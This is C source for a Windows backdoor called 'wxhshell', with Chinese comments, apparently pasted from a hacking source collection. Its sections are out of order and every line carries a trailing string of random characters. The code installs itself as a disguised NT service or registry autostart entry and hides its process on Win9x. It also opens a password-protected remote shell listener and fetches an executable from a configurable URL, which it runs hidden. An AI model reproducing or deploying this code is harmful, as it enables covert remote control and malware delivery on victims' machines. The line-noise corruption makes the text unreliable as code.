DWORD PebBaseAddress; SPkKiEdM
DWORD AffinityMask; Mny'9hsl
DWORD BasePriority; ?C
&x/2lt
ULONG UniqueProcessId; dU]i-NF
ULONG InheritedFromUniqueProcessId; K4! P'
} PROCESS_BASIC_INFORMATION; <t{?7_ 8
s) Cpi
PROCNTQSIP NtQueryInformationProcess; JBR[;
zM
'ySljo*It
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ~n[b^b
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ?wd|G4.Vo
I?a8h`WS+
HANDLE hProcess; ,AH0*L
PROCESS_BASIC_INFORMATION pbi; 4K9Rpm
L
42|>%uo
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); &P
8!]:
if(NULL == hInst ) return 0; `,wcQ
{~"7vkc+
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); {r={#mO;p
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); E@w[
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 'h-3V8m^e
J=UZ){c>:.
if (!NtQueryInformationProcess) return 0; d5DP^u
! FNf>z+
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 5x8'K7/4.
if(!hProcess) return 0; Tu]&^[B('
Y4mC_4EU
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; [E>R.Oe
_QR
g7
CloseHandle(hProcess); 8>UKIdp
Fr-[UZ~V
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); F:%^&%\
if(hProcess==NULL) return 0; M
h`CP
k$C"xg2
HMODULE hMod; - $U@By<SJ
char procName[255]; u]HS(B,ht
unsigned long cbNeeded; mZwi7s&u
W*k`
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); v&xKi>Ail
z!fdx|PUX
CloseHandle(hProcess); u(W^Nou/+
c~P)4(udT
if(strstr(procName,"services")) return 1; // 以服务启动 W_^>MLq
ajW[eyX
return 0; // 注册表启动 jFtg.SD
} $#5klA
Bi]D{m9
// 主模块 $[,l-[-+
int StartWxhshell(LPSTR lpCmdLine) vXephR'
{ W1vCN31
SOCKET wsl; Fse['O~
BOOL val=TRUE; q"S(7xWS
int port=0; 9"~9hOEct
struct sockaddr_in door; (]2<?x*
)8;{nqoC
if(wscfg.ws_autoins) Install(); j"5Pe
xw ?CMA
port=atoi(lpCmdLine); J"-_{)0lD
v"rl5x
if(port<=0) port=wscfg.ws_port; vF"c
5^yG2&>#
WSADATA data; K<FKu $=
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; )o{VmXe@@
o,CBA ;{P
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; O@s{uZ|A6
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); @rF/]UJ
door.sin_family = AF_INET; r*chL&7
door.sin_addr.s_addr = inet_addr("127.0.0.1"); U
IfH*6X
door.sin_port = htons(port); /|?F)%v\
6*Zj]is
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ! a o6e
closesocket(wsl); ~ FGe~
return 1; D}w<84qX
} n12UBvc}%
a5a1'IVq
if(listen(wsl,2) == INVALID_SOCKET) { [B,'=,Hbs
closesocket(wsl); %swR:Bv
return 1; <s_=-"
il
} ?4 qkDtm
Wxhshell(wsl); BEWro|]cM
WSACleanup(); l7z6i*R
atyu/+U'}
return 0; V5AW&kfd
\^&
} ;UrK{>B
;|<(9u`
// 以NT服务方式启动 ~Q?!W0ZBE
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) CZY7S*fL
{ [![ G7H%f
DWORD status = 0; EWA;L?g|A
DWORD specificError = 0xfffffff; J*j5#V];
=h|wwQE
serviceStatus.dwServiceType = SERVICE_WIN32; K#!X><B'
serviceStatus.dwCurrentState = SERVICE_START_PENDING; DR@1z9 a
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; kh3<V'k]
serviceStatus.dwWin32ExitCode = 0; !2$ z *C2;
serviceStatus.dwServiceSpecificExitCode = 0; %k2FPmA6
serviceStatus.dwCheckPoint = 0; dCe X}Z
serviceStatus.dwWaitHint = 0; e0 u,zg+m
]9*;;4Mg
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); `XW*kxpm
if (hServiceStatusHandle==0) return; KXf<$\+zO
^O)ve^P
status = GetLastError(); Bd5+/G=m
if (status!=NO_ERROR) Fnb2.R'+
{ $"\O;dp7l
serviceStatus.dwCurrentState = SERVICE_STOPPED; 1{Jb"
serviceStatus.dwCheckPoint = 0; F~6#LT
serviceStatus.dwWaitHint = 0; ^ S
serviceStatus.dwWin32ExitCode = status; X\\7$
serviceStatus.dwServiceSpecificExitCode = specificError; b:kXNDc
SetServiceStatus(hServiceStatusHandle, &serviceStatus); e3v5,.
return; vc8?I."?
} W8]V
PK4`5uT
serviceStatus.dwCurrentState = SERVICE_RUNNING; 'eyJS`
serviceStatus.dwCheckPoint = 0; ? gSSli[
serviceStatus.dwWaitHint = 0; R^%e1KO]
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 8:thWGLN
} (PRBS\*G
}"_j0ax
// 处理NT服务事件,比如:启动、停止 :$g8Zm,y
VOID WINAPI NTServiceHandler(DWORD fdwControl) }mZVL~|V
{ J[@um:
switch(fdwControl) 3F+Jdr'
{ BAV>o|-K
case SERVICE_CONTROL_STOP: 0y~<%`~
serviceStatus.dwWin32ExitCode = 0; .VM3D0aV
serviceStatus.dwCurrentState = SERVICE_STOPPED; 4Po)xo
serviceStatus.dwCheckPoint = 0; 9S1)U$
serviceStatus.dwWaitHint = 0; tHh HrMxO
{ #? ?%B
SetServiceStatus(hServiceStatusHandle, &serviceStatus); PB9/m-\H
} uP@\#/4u
return; 2r&R"B1`(
case SERVICE_CONTROL_PAUSE: "NzD1k6.L
serviceStatus.dwCurrentState = SERVICE_PAUSED; V*RdDF7
break; }T.?c9l X
case SERVICE_CONTROL_CONTINUE: ?D|\]0 eN
serviceStatus.dwCurrentState = SERVICE_RUNNING; k6(r !mc
break; !%PWig-
case SERVICE_CONTROL_INTERROGATE: |c2xy
break; <G~>~L.E
}; $bsH$N#6T
SetServiceStatus(hServiceStatusHandle, &serviceStatus); {G3i0r
} rNlW7Y
E4i0i!<z
// 标准应用程序主函数 QA;!caNp
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 3s*(uS(
{ W3rl^M=r
eZL MP
// 获取操作系统版本 + G;LX'B
OsIsNt=GetOsVer(); z0bJ?~w,
GetModuleFileName(NULL,ExeFile,MAX_PATH); +fNvNbtA
X!tf#tl
// 从命令行安装 0F:1\9f5
if(strpbrk(lpCmdLine,"iI")) Install(); u~1o(Zn
=
oVOm_N
// 下载执行文件 EJ84rSp
if(wscfg.ws_downexe) { +4qU>
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ZA(T
WinExec(wscfg.ws_filenam,SW_HIDE); :I1_X
} \or G63T:
RJ4.
kt
if(!OsIsNt) { PRB{VC<k
// 如果时win9x,隐藏进程并且设置为注册表启动 wy,p&g)>
HideProc(); )ev<7g9*q
StartWxhshell(lpCmdLine); bb-q O#E
} g(ogXA1
else v [njdP
if(StartFromService()) e]Fp=*#
// 以服务方式启动 Sr_VL:Gg
StartServiceCtrlDispatcher(DispatchTable); Ysi
g T
else -JT/9IQ
// 普通方式启动 'h1b1,b~
StartWxhshell(lpCmdLine); T=Z.TG|lIx
v2+!1r7@
return 0; j&R+2%
} ArK]0$T
I?Aj.{{$G%
9QC.TG@
-&2B@]]
=========================================== sOU_j:A80;
ut2~rRiK
M@Q3M(z
Vz=auM1xZ
ZD>a>]
TX [%(ft
" qMYe{{r
8,"yNq
#include <stdio.h> Q{g;J`Z)p
#include <string.h> Tr&M~Lgb)
#include <windows.h> {aYY85j
#include <winsock2.h> U/l?>lOD\
#include <winsvc.h> BX+.0M
#include <urlmon.h> _-TA{21)
BB$oq'
#pragma comment (lib, "Ws2_32.lib") ?sz)J3
#pragma comment (lib, "urlmon.lib") dt}_D={Be
Zw1U@5}A
#define MAX_USER 100 // 最大客户端连接数 M]]pTU((
#define BUF_SOCK 200 // sock buffer #/2$+x
#define KEY_BUFF 255 // 输入 buffer t2HJsMX
XFVV},V
#define REBOOT 0 // 重启 tWeFEVg
#define SHUTDOWN 1 // 关机 >slm$~rv
5Por "&%
#define DEF_PORT 5000 // 监听端口 ]b/S6oc6
m!tx(XsXU
#define REG_LEN 16 // 注册表键长度 Z;l`YK^-
#define SVC_LEN 80 // NT服务名长度 Ev"|FTI/
\55VqGyxu9
// 从dll定义API Vr[czfROz'
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); k^"bLf(4
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); \!]hU%Un
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); kX`[Y@nUN
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); j=?'4sF
SMH<'F7i
// wxhshell配置信息 2{Vcb
struct WSCFG { 1 rs&74-
int ws_port; // 监听端口 DV)3
char ws_passstr[REG_LEN]; // 口令 pCh2SQ(Q>
int ws_autoins; // 安装标记, 1=yes 0=no -s|8<A||"
char ws_regname[REG_LEN]; // 注册表键名 ]i<[d,
char ws_svcname[REG_LEN]; // 服务名 KnhoaBB
char ws_svcdisp[SVC_LEN]; // 服务显示名 5q9s,r_
char ws_svcdesc[SVC_LEN]; // 服务描述信息 rKH:[lKm
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 C)'q
QvA
int ws_downexe; // 下载执行标记, 1=yes 0=no ?<Wb@6kh`
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" w;UqEC V
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 /H7&AiA